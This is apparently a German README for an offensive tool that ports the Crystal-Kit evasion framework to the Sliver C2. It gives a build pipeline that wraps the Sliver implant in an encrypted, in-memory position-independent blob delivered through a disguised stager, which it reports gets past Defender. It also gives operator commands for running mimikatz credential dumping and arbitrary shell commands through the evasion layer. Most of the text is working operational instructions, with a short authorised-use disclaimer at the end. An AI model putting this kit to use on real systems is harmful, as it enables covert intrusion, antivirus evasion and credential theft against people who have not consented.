Crystal Palace Evasion Kit für Sliver
Crystal Palace Evasion-Kit portiert auf Sliver C2.
Dies ist der erste öffentliche Port von rasta-mouses Crystal-Kit (Cobalt Strike) auf Sliver. Es folgt dem gleichen Cross-C2-Muster, das von Crystal-Kit-Xenon (Mythic) bewiesen wurde.
Ersetzt Slivers standardmäßigen Reflective Loader und den Post-Execution-Pfad durch Crystal Palace (Raphael Mudge, BSD). Das Ergebnis ist ein positionsunabhängiger Code (PICO)-Blob, der Folgendes bündelt:
LoadLibrary / GetProcAddress)VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryADie Sliver-Implant-DLL (oder jede Post-Ex-DLL) ist innerhalb des PICO XOR-maskiert und wird erst zur Ausführungszeit im Speicher entschlüsselt.
Die rohe Sliver-Implant-DLL wird nie direkt auf dem Ziel ausgeführt. Stattdessen wird sie mit Crystal Palace in einen PICO verpackt, AES-256-CBC-verschlüsselt und mit einem benutzerdefinierten Stager (~17 KB) ausgeliefert, der sie entschlüsselt und im Speicher ausführt.
sliver-server generate --format shared → impl.dll
│
▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
│
▼
bundle-stager.sh → csvchelper.exe (~17 KB, kein eingebettetes Payload)
→ payload.dat (~36 MB AES-256-CBC-Chiffrat)
│
▼ BEIDE Dateien in dasselbe Verzeichnis auf dem Ziel liefern
▼
Windows VM: csvchelper.exe
│
▼ BCrypt AES-256-CBC entschlüsselt payload.dat → PICO in RW-Speicher
▼ VirtualProtect(RX) → CreateThread → Crystal Palace Einstiegspunkt
▼ .pdata registrieren → TLS-Callbacks → DllMain → StartW() → Beacon-Goroutine → HTTP-Sitzung
Sobald eine Sitzung aktiv ist, können sensible DLLs (Recon, Credential Dumper usw.) über eine Sliver-Erweiterung durch Crystal Palace ausgeführt werden.
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin
Laufzeitargumente ohne Neukompilierung übergeben, indem sie nach | angehängt werden:
sliver > crystal --payload C:/path/file.pico.bin|args here
Die crystal-loader.x64.dll ist eine Sliver-DLL-Erweiterung, die den PICO-Blob von der Festplatte in einen VirtualAlloc(RW)-Bereich einliest, ihn mit VirtualProtect auf RX setzt und zum Crystal-Palace-Einstiegspunkt springt. Es wird keine PAGE_EXECUTE_READWRITE-Zuordnung gehalten. Pfade verwenden Vorwärtsschrägstriche. Das Argumentformat ist type:string (kein BOF-Binär). Die DLL wird von Sliver im Speicher geladen – sie wird nicht als Datei auf die Zielfestplatte geschrieben.
crystal-exec ist ein zweiter Befehl, der in derselben Erweiterung gebündelt ist. Er führt beliebige Shell-Befehle durch Crystal-Palace-Evasion aus, indem ein PICO direkt in die Erweiterungs-DLL eingebettet ist – keine PICO-Datei zum Hochladen.
sliver > crystal-exec --cmd "whoami /all"
Die Ausgabe wird über eine Pipe an den Operator in der bestehenden Sliver-Sitzung zurückgegeben. Dies ist der schnellste Weg für einmalige Shell-Befehle, wenn keine vollständige Post-Ex-DLL erforderlich ist.
crystal-kit-sliver/
├── loader/ ← Reflective-Loader-Quellen (Anwendungsfall A) – originalgetreu von Crystal-Kit
├── postex-loader/ ← Post-Ex-Loader-Quellen (Anwendungsfall B) – Crystal-Kit + Xenon-Patch
├── libtcg.x64.zip ← Upstream-Binärabhängigkeit (im Baum für Build-Komfort behalten)
└── sliver-glue/ ← Sliver-spezifischer Build-Kleber
├── extension.json Sliver-Erweiterungsmanifest
├── generate.sh Post-Ex-DLL → PICO verpacken (Anwendungsfall B)
├── generate-implant.sh Sliver-DLL → PICO verpacken (Anwendungsfall A)
├── bundle-implant.sh PICO + Crystal-Palace-Demo-Stager in drop.zip bündeln (Legacy)
├── bundle-stager.sh Benutzerdefinierten Stager bauen: csvchelper.exe + payload.dat (primär)
├── pack-extension.sh DLL + Manifest in Sliver-Erweiterungs-Tarball packen
├── Makefile make objects / package / clean
├── stager/ Benutzerdefinierte Stager-Quellen (AES-256-CBC, asInvoker-Manifest)
└── wrapper/ crystal-loader.c (BOF-kompatibler DLL-Wrapper)
docs/
├── RUNBOOK.md Schritt-für-Schritt-Kali-zu-Windows-Lab-Anleitung
├── PORTING_MAP.md Datei-für-Datei-Zuordnung von Crystal-Kit zu diesem Repo + wörtliche Diffs
└── TOOLCHAIN.md Build-Voraussetzungen und Pipeline-Details
# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. Alles bauen
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all
# 4. Anwendungsfall A – Sliver-Implant verpacken und Stager bauen
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → erzeugt build/csvchelper.exe + build/payload.dat (beide auf das Ziel liefern)
# 5. Anwendungsfall B – Post-Ex-DLL verpacken (postex.sh übernimmt die Benennung und gibt den Sliver-Befehl aus)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# Mit fest codierten Argumenten: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh
# 6. crystal-exec – den integrierten Befehlsausführer neu bauen (nur nach Änderung an crystalexec.c nötig)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh
Siehe docs/RUNBOOK.md für die vollständige Bedienungsanleitung (Sliver-Installation, Listener-Einrichtung, Zielausführung, Fehlerbehebung).
| Element | Status | Nachweis |
|---|---|---|
| Alle Crystal-Kit-Quellen kompilieren unter MinGW 15.2 + NASM 3.01 | OK | make all sauber, 8 .o + 1 .bin pro Loader |
| Xenon-Post-Ex-Patches vorhanden | OK | dfr "ror13", _DLLARGS_-Abschnitt, dll_arguments-Parameter in DLL_PROCESS_ATTACH |
| Crystal-Palace-CLI verifiziert | OK | ./link <spec> <dll> <out.bin> [%KEY=value] – positionsbasiert, dokumentiert in dist/README |
| End-to-End-PICO-Build (Anwendungsfall A) | OK | 117 KB PICO aus Test-DLL erzeugt |
| End-to-End-PICO-Build (Anwendungsfall B) | OK | 111 KB PICO erzeugt über postex-loader/loader.spec |
| Sliver-Erweiterungs-DLL-Wrapper baut | OK | crystal-loader.x64.dll ~42 KB, crystal-exec.x64.dll ~75 KB – beide PE32+ mit exportiertem Initialize-Symbol; kein RWX; gestrippt |
| Erweiterungs-Tarball packt korrekt | OK | 37 KB Tarball mit tar -tzf validiert |
| Benutzerdefinierter Stager-Build (Zwei-Dateien-Auslieferung) | OK | bundle-stager.sh → csvchelper.exe (17 KB, Entropie 4.784) + payload.dat (AES-256-CBC) |
| Laufzeitausführung auf Windows (Anwendungsfall A) | OK | Sliver-Sitzung auf Windows 10 x64 FLARE-VM hergestellt; Stager passiert Defender (Wacatac.B!ml + ZomBytes.B) |
| Laufzeitausführung auf Windows (Anwendungsfall B) | OK | crystal --payload C:/path/file.pico.bin – neue Sliver-Sitzung via Post-Ex-PICO hergestellt; Argument-Format als type:string verifiziert, Vorwärtsschrägstrich-Pfad |
crystal-exec-Befehl | OK | Shell-Befehlsausgabe an Operator via Pipe zurückgegeben; PICO in Erweiterungs-DLL eingebettet, kein Upload nötig |
| Abhängigkeit | Lizenz | Bezugsquelle | Gebündelt? |
|---|---|---|---|
Crystal Palace (crystalpalace.jar, link, etc.) | BSD-3-Clause, (c) 2025 Raphael Mudge / AFF-WG | curl -O https://tradecraftgarden.org/download/cpdist-latest.tgz | Nein (.gitignore schließt external/ aus) |
libtcg.x64.zip | Upstream-Binär, Lizenz nicht angegeben (vermutlich von QEMU TCG abgeleitet) | Aus dem Upstream-Crystal-Kit-Repo kopiert | Ja, im Baum für Build-Komfort behalten |
| Sliver C2 | GPLv3 | https://sliver.sh | Nein – nur Laufzeitabhängigkeit |
| MinGW-w64 + NASM | GPL-kompatibel | apt install oder brew install | Nein |
Dieses Repository verteilt KEIN crystalpalace.jar. Die Build-Pipeline holt es extern und referenziert es über die Umgebungsvariable CRYSTAL_PALACE_HOME.
Siehe NOTICE.md für die vollständige Liste der Upstream-Urheberrechte und Lizenzen. Kurze Zusammenfassung:
dll_args-Abschnitt)beacon.h, beacon_compatibility.c/h)docs/PORTING_MAP.md)sliver-glue/-Kleber-Skripte und Erweiterungs-Manifestgenerate-implant.sh + bundle-implant.shcrystal --payload funktioniert, Argument-Format auf type:string korrigiert, Vorwärtsschrägstrich-Pfad)crystal-exec-Befehl: integrierte Post-Ex-Shell-Ausführung über Crystal Palace (kein Upload nötig)|-Trennzeichen für dynamische DLL-Argumente ohne NeukompilierungWerkzeug für offensive Sicherheit, bestimmt für autorisierte Red-Team-Einsätze, Laborforschung und Ausbildung. Nur in Umgebungen verwenden, in denen Sie eine schriftliche Genehmigung haben. Der Autor übernimmt keine Verantwortung für Missbrauch.